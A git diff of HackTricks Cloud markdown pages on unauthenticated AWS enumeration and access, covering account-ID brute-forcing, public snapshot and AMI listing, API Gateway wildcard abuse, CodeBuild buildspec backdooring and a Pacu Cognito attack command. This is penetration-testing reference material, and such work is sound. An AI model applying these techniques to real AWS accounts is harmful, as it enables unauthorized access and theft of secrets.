+aws scheduler list-schedules
+
+# List all EventBridge Scheduler schedule groups
+aws scheduler list-schedule-groups
+
+# Describe a specific schedule to retrieve more details
+aws scheduler get-schedule --name <schedule_name>
+
+# Describe a specific schedule group
+aws scheduler get-schedule-group --name <group_name>
+
+# List tags for a specific schedule (helpful in identifying any custom tags or permissions)
+aws scheduler list-tags-for-resource --resource-arn <schedule_group_arn>
+```
+
+### Privesc
+
+In the following page, you can check how to **abuse eventbridge scheduler permissions to escalate privileges**:
+
+{{#ref}}
+../aws-privilege-escalation/eventbridgescheduler-privesc.md
+{{#endref}}
+
+## References
+
+- [https://docs.aws.amazon.com/scheduler/latest/UserGuide/what-is-scheduler.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/what-is-scheduler.html)
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md
new file mode 100644
index 000000000..37df66613
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md
@@ -0,0 +1,54 @@
+# AWS - Unauthenticated Enum & Access
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## AWS Credentials Leaks
+
+A common way to obtain access or information about an AWS account is by **searching for leaks**. You can search for leaks using **google dorks**, checking the **public repos** of the **organization** and the **workers** of the organization in **Github** or other platforms, searching in **credentials leaks databases**... or in any other part you think you might find any information about the company and its cloud infa.\
+Some useful **tools**:
+
+- [https://github.com/carlospolop/leakos](https://github.com/carlospolop/leakos)
+- [https://github.com/carlospolop/pastos](https://github.com/carlospolop/pastos)
+- [https://github.com/carlospolop/gorks](https://github.com/carlospolop/gorks)
+
+## AWS Unauthenticated Enum & Access
+
+There are several services in AWS that could be configured giving some kind of access to all Internet or to more people than expected. Check here how:
+
+- [**Accounts Unauthenticated Enum**](aws-accounts-unauthenticated-enum.md)
+- [**Cloud9 Unauthenticated Enum**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/broken-reference/README.md)
+- [**Cloudfront Unauthenticated Enum**](aws-cloudfront-unauthenticated-enum.md)
+- [**Cloudsearch Unauthenticated Enum**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/broken-reference/README.md)
+- [**Cognito Unauthenticated Enum**](aws-cognito-unauthenticated-enum.md)
+- [**DocumentDB Unauthenticated Enum**](aws-documentdb-enum.md)
+- [**EC2 Unauthenticated Enum**](aws-ec2-unauthenticated-enum.md)
+- [**Elasticsearch Unauthenticated Enum**](aws-elasticsearch-unauthenticated-enum.md)
+- [**IAM Unauthenticated Enum**](aws-iam-and-sts-unauthenticated-enum.md)
+- [**IoT Unauthenticated Access**](aws-iot-unauthenticated-enum.md)
+- [**Kinesis Video Unauthenticated Access**](aws-kinesis-video-unauthenticated-enum.md)
+- [**Media Unauthenticated Access**](aws-media-unauthenticated-enum.md)
+- [**MQ Unauthenticated Access**](aws-mq-unauthenticated-enum.md)
+- [**MSK Unauthenticated Access**](aws-msk-unauthenticated-enum.md)
+- [**RDS Unauthenticated Access**](aws-rds-unauthenticated-enum.md)
+- [**Redshift Unauthenticated Access**](aws-redshift-unauthenticated-enum.md)
+- [**SQS Unauthenticated Access**](aws-sqs-unauthenticated-enum.md)
+- [**S3 Unauthenticated Access**](aws-s3-unauthenticated-enum.md)
+
+## Cross Account Attacks
+
+In the talk [**Breaking the Isolation: Cross-Account AWS Vulnerabilities**](https://www.youtube.com/watch?v=JfEFIcpJ2wk) it's presented how some services allow(ed) any AWS account accessing them because **AWS services without specifying accounts ID** were allowed.
+
+During the talk they specify several examples, such as S3 buckets **allowing cloudtrai**l (of **any AWS** account) to **write to them**:
+
+![](<../../../images/image (260).png>)
+
+Other services found vulnerable:
+
+- AWS Config
+- Serverless repository
+
+## Tools
+
+- [**cloud_enum**](https://github.com/initstring/cloud_enum): Multi-cloud OSINT tool. **Find public resources** in AWS, Azure, and Google Cloud. Supported AWS services: Open / Protected S3 Buckets, awsapps (WorkMail, WorkDocs, Connect, etc.)
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md
new file mode 100644
index 000000000..98621c498
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md
@@ -0,0 +1,45 @@
+# AWS - Accounts Unauthenticated Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Account IDs
+
+If you have a target there are ways to try to identify account IDs of accounts related to the target.
+
+### Brute-Force
+
+You create a list of potential account IDs and aliases and check them
+
+```bash
+# Check if an account ID exists
+curl -v https://<acount_id>.signin.aws.amazon.com
+## If response is 404 it doesn't, if 200, it exists
+## It also works from account aliases
+curl -v https://vodafone-uk2.signin.aws.amazon.com
+```
+
+You can [automate this process with this tool](https://github.com/dagrz/aws_pwn/blob/master/reconnaissance/validate_accounts.py).
+
+### OSINT
+
+Look for urls that contains `<alias>.signin.aws.amazon.com` with an **alias related to the organization**.
+
+### Marketplace
+
+If a vendor has **instances in the marketplace,** you can get the owner id (account id) of the AWS account he used.
+
+### Snapshots
+
+- Public EBS snapshots (EC2 -> Snapshots -> Public Snapshots)
+- RDS public snapshots (RDS -> Snapshots -> All Public Snapshots)
+- Public AMIs (EC2 -> AMIs -> Public images)
+
+### Errors
+
+Many AWS error messages (even access denied) will give that information.
+
+## References
+
+- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md
new file mode 100644
index 000000000..310015617
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md
@@ -0,0 +1,56 @@
+# AWS - API Gateway Unauthenticated Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+### API Invoke bypass
+
+According to the talk [Attack Vectors for APIs Using AWS API Gateway Lambda Authorizers - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE), Lambda Authorizers can be configured **using IAM syntax** to give permissions to invoke API endpoints. This is taken [**from the docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html):
+
+```json
+{
+  "Version": "2012-10-17",
+  "Statement": [
+    {
+      "Effect": "Permission",
+      "Action": ["execute-api:Execution-operation"],
+      "Resource": [
+        "arn:aws:execute-api:region:account-id:api-id/stage/METHOD_HTTP_VERB/Resource-path"
+      ]
+    }
+  ]
+}
+```
+
+The problem with this way to give permissions to invoke endpoints is that the **"\*" implies "anything"** and there is **no more regex syntax supported**.
+
+Some examples:
+
+- A rule such as `arn:aws:execute-apis:sa-east-1:accid:api-id/prod/*/dashboard/*` in order to give each user access to `/dashboard/user/{username}` will give them access to other routes such as `/admin/dashboard/createAdmin` for example.
+
+> [!WARNING]
+> Note that **"\*" doesn't stop expanding with slashes**, therefore, if you use "\*" in api-id for example, it could also indicate "any stage" or "any method" as long as the final regex is still valid.\
+> So `arn:aws:execute-apis:sa-east-1:accid:*/prod/GET/dashboard/*`\
+> Can validate a post request to test stage to the path `/prod/GET/dashboard/admin` for example.
+
+You should always have clear what you want to allow to access and then check if other scenarios are possible with the permissions granted.
+
+For more info, apart of the [**docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html), you can find code to implement authorizers in [**this official aws github**](https://github.com/awslabs/aws-apigateway-lambda-authorizer-blueprints/tree/master/blueprints).
+
+### IAM Policy Injection
+
+In the same [**talk** ](https://www.youtube.com/watch?v=bsPKk7WDOnE)it's exposed the fact that if the code is using **user input** to **generate the IAM policies**, wildcards (and others such as "." or specific strings) can be included in there with the goal of **bypassing restrictions**.
+
+### Public URL template
+
+```
+https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided}
+```
+
+### Get Account ID from public API Gateway URL
+
+Just like with S3 buckets, Data Exchange and Lambda URLs gateways, It's possible to find the account ID of an account abusing the **`aws:ResourceAccount`** **Policy Condition Key** from a public API Gateway URL. This is done by finding the account ID one character at a time abusing wildcards in the **`aws:ResourceAccount`** section of the policy.\
+This technique also allows to get **values of tags** if you know the tag key (there some default interesting ones).
+
+You can find more information in the [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) and the tool [**conditional-love**](https://github.com/plerionhq/conditional-love/) to automate this exploitation.
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md
new file mode 100644
index 000000000..fc68629f1
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md
@@ -0,0 +1,11 @@
+# AWS - Cloudfront Unauthenticated Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+### Public URL template
+
+```
+https://{random_id}.cloudfront.net
+```
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md
new file mode 100644
index 000000000..9dc5feb14
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md
@@ -0,0 +1,35 @@
+# AWS - CodeBuild Unauthenticated Access
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## CodeBuild
+
+For more info check this page:
+
+{{#ref}}
+../aws-services/aws-codebuild-enum.md
+{{#endref}}
+
+### buildspec.yml
+
+If you compromise write access over a repository containing a file named **`buildspec.yml`**, you could **backdoor** this file, which specifies the **commands that are going to be executed** inside a CodeBuild project and exfiltrate the secrets, compromise what is done and also compromise the **CodeBuild IAM role credentials**.
+
+Note that even if there isn't any **`buildspec.yml`** file but you know Codebuild is being used (or a different CI/CD) **modifying some legit code** that is going to be executed can also get you a reverse shell for example.
+
+For some related information you could check the page about how to attack Github Actions (similar to this):
+
+{{#ref}}
+../../../pentesting-ci-cd/github-security/abusing-github-actions/
+{{#endref}}
+
+## Self-hosted GitHub Actions runners in AWS CodeBuild <a href="#action-runner" id="action-runner"></a>
+
+As [**indicated in the docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html), It's possible to configure **CodeBuild** to run **self-hosted Github actions** when a workflow is triggered inside a Github repo configured. This can be detected checking the CodeBuild project configuration because the **`Event type`** needs to contain: **`WORKFLOW_JOB_QUEUED`** and in a Github Workflow because it will select a **self-hosted** runner like this:
+
+```bash
+runs-on: codebuild-<project-name>-${{ github.run_id }}-${{ github.run_attempt }}
+```
+
+This new relationship between Github Actions and AWS creates another way to compromise AWS from Github as the code in Github will be running in a CodeBuild project with an IAM role attached.
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md
similarity index 51%
rename from pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md
rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md
index 26a18d922..0a788f6e8 100644
--- a/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md
@@ -1,19 +1,6 @@
 # AWS - Cognito Unauthenticated Enum
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Unauthenticated Cognito
 
@@ -21,9 +8,9 @@ Cognito is an AWS service that enable developers to **grant their app users acce
 
 For basic info about Cognito check:
 
-{% content-ref url="../aws-services/aws-cognito-enum/" %}
-[aws-cognito-enum](../aws-services/aws-cognito-enum/)
-{% endcontent-ref %}
+{{#ref}}
+../aws-services/aws-cognito-enum/
+{{#endref}}
 
 ### Identity Pool ID
 
@@ -47,8 +34,8 @@ For a description of the modules' functions see part 2 of the [blog post](https:
 Sample `cognito__attack` usage to attempt user creation and all privesc vectors against a given identity pool and user pool client:
 
 ```bash
-Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools 
-us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 
+Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
+us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
 ```
 
@@ -58,17 +45,4 @@ Sample cognito\_\_enum usage to gather all user pools, user pool clients, identi
 Pacu (new:test) > run cognito__enum
 ```
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md
new file mode 100644
index 000000000..de97c7405
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md
@@ -0,0 +1,11 @@
+# AWS - DocumentDB Unauthenticated Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+### Public URL template
+
+```
+<name>.cluster-<random>.<region>.docdb.amazonaws.com
+```
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md
new file mode 100644
index 000000000..6e340d59e
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md
@@ -0,0 +1,15 @@
+# AWS - DynamoDB Unauthenticated Access
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Dynamo DB
+
+For more information check:
+
+{{#ref}}
+../aws-services/aws-dynamodb-enum.md
+{{#endref}}
+
+Apart from giving access to all AWS or some compromised external AWS account, or have some SQL injections in an application that communicates with DynamoDB I'm don't know more options to access AWS accounts from DynamoDB.
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md
new file mode 100644
index 000000000..280a7c27b
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md
@@ -0,0 +1,60 @@
+# AWS - EC2 Unauthenticated Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## EC2 & Related Services
+
+Check in this page more information about this:
+
+{{#ref}}
+../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
+{{#endref}}
+
+### Public Ports
+
+It's possible to expose the **any port of the virtual machines to the internet**. Depending on **what is running** in the exposed the port an attacker could abuse it.
+
+#### SSRF
+
+{{#ref}}
+https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
+{{#endref}}
+
+### Public AMIs & EBS Snapshots
+
+AWS allows to **give access to anyone to download AMIs and Snapshots**. You can list these resources very easily from your own account:
+
+```bash
+# Public AMIs
+aws ec2 describe-images --executable-users all
+
+## Search AMI by ownerID
+aws ec2 describe-images --executable-users all --query 'Images[?contains(ImageLocation, `967541184254/`) == `true`]'
+
+## Search AMI by substr ("shared" in the example)
+aws ec2 describe-images --executable-users all --query 'Images[?contains(ImageLocation, `shared`) == `true`]'
+
+# Public EBS snapshots (hard-drive copies)
+aws ec2 describe-snapshots --restorable-by-user-ids all
+aws ec2 describe-snapshots --restorable-by-user-ids all | jq '.Snapshots[] | select(.OwnerId == "099720109477")'
+```
+
+If you find a snapshot that is restorable by anyone, make sure to check [AWS - EBS Snapshot Dump](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump) for directions on downloading and looting the snapshot.
+
+#### Public URL template
+
+```bash
+# EC2
+ec2-{ip-seperated}.compute-1.amazonaws.com
+# ELB
+http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443
+https://{user_provided}-{random_id}.{region}.elb.amazonaws.com
+```
+
+### Enumerate EC2 instances with public IP
+
+```bash
+aws ec2 describe-instances --query "Reservations[].Instances[?PublicIpAddress!=null].PublicIpAddress" --output text
+```
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md
new file mode 100644
index 000000000..a36e4b72b
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md
@@ -0,0 +1,34 @@
+# AWS - ECR Unauthenticated Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## ECR
+
+For more information check:
+
+{{#ref}}
+../aws-services/aws-ecr-enum.md
+{{#endref}}
+
+### Public registry repositories (images)
+
+As mentioned in the ECS Enum section, a public registry is **accessible by anyone** uses the format **`public.ecr.aws/<random>/<name>`**. If a public repository URL is located by an attacker he could **download the image and search for sensitive information** in the metadata and content of the image.
+
+```bash
+aws ecr describe-repositories --query 'repositories[?repositoryUriPublic == `true`].repositoryName' --output text
+```
+
+> [!WARNING]
+> This could also happen in **private registries** where a registry policy or a repository policy is **granting access for example to `"AWS": "*"`**. Anyone with an AWS account could access that repo.
+
+### Enumerate Private Repo
+
+The tools [**skopeo**](https://github.com/containers/skopeo) and [**crane**](https://github.com/google/go-containerregistry/blob/main/cmd/crane/doc/crane.md) can be used to list accessible repositories inside a private registry.
+
+```bash
+# Get image names
+skopeo list-tags docker://<PRIVATE_REGISTRY_URL> | grep -oP '(?<=^Name: ).+'
+crane ls <PRIVATE_REGISTRY_URL> | sed 's/ .*//'
+```
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md
new file mode 100644
index 000000000..4a2d961f5
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md
@@ -0,0 +1,25 @@
+# AWS - ECS Unauthenticated Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## ECS
+
+For more information check:
+
+{{#ref}}
+../aws-services/aws-ecs-enum.md
+{{#endref}}
+
+### Publicly Accessible Security Group or Load Balancer for ECS Services
+
+A misconfigured security group that **allows inbound traffic from the internet (0.0.0.0/0 or ::/0)** to the Amazon ECS services could expose the AWS resources to attacks.
+
+```bash
+# Example of detecting misconfigured security group for ECS services
+aws ec2 describe-security-groups --query 'SecurityGroups[?IpPermissions[?contains(IpRanges[].CidrIp, `0.0.0.0/0`) || contains(Ipv6Ranges[].CidrIpv6, `::/0`)]]'
+
+# Example of detecting a publicly accessible load balancer for ECS services
+aws elbv2 describe-load-balancers --query 'LoadBalancers[?Scheme == `internet-facing`]'
+```
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md
new file mode 100644
index 000000000..bd570128c
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md
@@ -0,0 +1,37 @@
+# AWS - Elastic Beanstalk Unauthenticated Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Elastic Beanstalk
+
+For more information check:
+
+{{#ref}}
+../aws-services/aws-elastic-beanstalk-enum.md
+{{#endref}}
+
+### Web vulnerability
+
+Note that by default Beanstalk environments have the **Metadatav1 disabled**.
+
+The format of the Beanstalk web pages is **`https://<webapp-name>-env.<region>.elasticbeanstalk.com/`**
+
+### Insecure Security Group Rules
+
+Misconfigured security group rules can expose Elastic Beanstalk instances to the public. **Overly permissive ingress rules, such as allowing traffic from any IP address (0.0.0.0/0) on sensitive ports, can enable attackers to access the instance**.
+
+### Publicly Accessible Load Balancer
+
+If an Elastic Beanstalk environment uses a load balancer and the load balancer is configured to be publicly accessible, attackers can **send requests directly to the load balancer**. While this might not be an issue for web applications intended to be publicly accessible, it could be a problem for private applications or environments.
+
+### Publicly Accessible S3 Buckets
+
+Elastic Beanstalk applications are often stored in S3 buckets before deployment. If the S3 bucket containing the application is publicly accessible, an attacker could **download the application code and search for vulnerabilities or sensitive information**.
+
+### Enumerate Public Environments
+
+```bash
+aws elasticbeanstalk describe-environments --query 'Environments[?OptionSettings[?OptionName==`aws:elbv2:listener:80:defaultProcess` && contains(OptionValue, `redirect`)]].{EnvironmentName:EnvironmentName, ApplicationName:ApplicationName, Status:Status}' --output table
+```
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md
new file mode 100644
index 000000000..73c113dca
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md
@@ -0,0 +1,12 @@
+# AWS - Elasticsearch Unauthenticated Enum
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+### Public URL template
+
+```
+https://vpc-{user_provided}-[random].[region].es.amazonaws.com
+https://search-{user_provided}-[random].[region].es.amazonaws.com
+```
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md
similarity index 50%
rename from pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md
rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md
index 04863b285..8bc9c4bf0 100644
--- a/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md
@@ -1,33 +1,19 @@
 # AWS - IAM & STS Unauthenticated Enum
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Enumerate Roles & Usernames in an account
 
 ### ~~Assume Role Brute-Force~~
 
-{% hint style="danger" %}
-**This technique doesn't work** anymore as if the role exists or not you always get this error:
-
-`An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::947247140022:user/testenv is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::429217632764:role/account-balanceasdas`
-
-You can **test this running**:
-
-`aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example`
-{% endhint %}
+> [!CAUTION]
+> **This technique doesn't work** anymore as if the role exists or not you always get this error:
+>
+> `An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::947247140022:user/testenv is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::429217632764:role/account-balanceasdas`
+>
+> You can **test this running**:
+>
+> `aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example`
 
 Attempting to **assume a role without the necessary permissions** triggers an AWS error message. For instance, if unauthorized, AWS might return:
 
@@ -49,26 +35,24 @@ You can use this [script to enumerate potential principals](https://github.com/R
 
 Configuring or updating an **IAM role's trust policy involves defining which AWS resources or services are permitted to assume that role** and obtain temporary credentials. If the specified resource in the policy **exists**, the trust policy saves **successfully**. However, if the resource **does not exist**, an **error is generated**, indicating that an invalid principal was provided.
 
-{% hint style="warning" %}
-Note that in that resource you could specify a cross account role or user:
-
-* `arn:aws:iam::acc_id:role/role_name`
-* `arn:aws:iam::acc_id:user/user_name`
-{% endhint %}
+> [!WARNING]
+> Note that in that resource you could specify a cross account role or user:
+>
+> - `arn:aws:iam::acc_id:role/role_name`
+> - `arn:aws:iam::acc_id:user/user_name`
 
 This is a policy example:
 
 ```json
 {
-  "Version":"2012-10-17",
-  "Statement":[
+  "Version": "2012-10-17",
+  "Statement": [
     {
-      "Effect":"Allow",
-      "Principal":
-      {
-        "AWS":"arn:aws:iam::216825089941:role\/Test"
+      "Effect": "Allow",
+      "Principal": {
+        "AWS": "arn:aws:iam::216825089941:role/Test"
       },
-    "Action":"sts:AssumeRole"
+      "Action": "sts:AssumeRole"
     }
   ]
 }
@@ -78,7 +62,7 @@ This is a policy example:
 
 That is the **error** you will find if you uses a **role that doesn't exist**. If the role **exist**, the policy will be **saved** without any errors. (The error is for update, but it also works when creating)
 
-![](<../../../.gitbook/assets/image (153).png>)
+![](<../../../images/image (153).png>)
 
 #### CLI
 
@@ -115,15 +99,15 @@ aws iam create-role --role-name Test-Role2 --assume-role-policy-document file://
 An error occurred (MalformedPolicyDocument) when calling the CreateRole operation: Invalid principal in policy: "AWS":"arn:aws:iam::316584767888:role/account-balanceefd23f2"
 ```
 
